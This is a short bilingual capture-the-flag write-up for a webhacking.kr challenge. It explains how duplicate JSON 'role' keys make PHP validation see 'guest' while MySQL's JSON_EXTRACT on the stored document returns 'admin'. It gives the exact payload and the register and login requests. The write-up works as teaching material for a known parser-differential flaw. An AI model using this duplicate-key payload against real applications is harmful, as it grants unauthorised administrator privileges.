Webhacking.kr Better than 𝒳ℳℒ

Challenge

Exploit duplicate JSON keys to make validation and storage observe different roles.

利用重复 JSON key,让校验与存储看到不同的 role。

1
https://webhacking.kr/challenge/new-17/

Analysis

注册接口读取原始 JSON 后执行 json_decode($raw_json, true),验证最终解析出的 role 必须为 guest;但原始 JSON 会被存入数据库。重复 key 时,PHP 的 associative decode 使用后一个值,而 MySQL JSON 文档保留重复 key,后续 JSON_EXTRACT(data,'$.role') 取到前一个 admin。

Solution

注册请求体:

1
{"userid":"hermesx","userpw":"hermesy","role":"admin","role":"guest"}

请求:

1
2
POST /challenge/new-17/?page=join_
Content-Type: application/json

随后使用相同 userid/userpw 登录:

1
2
3
POST /challenge/new-17/?page=login_
uid=hermesx
upw=hermesy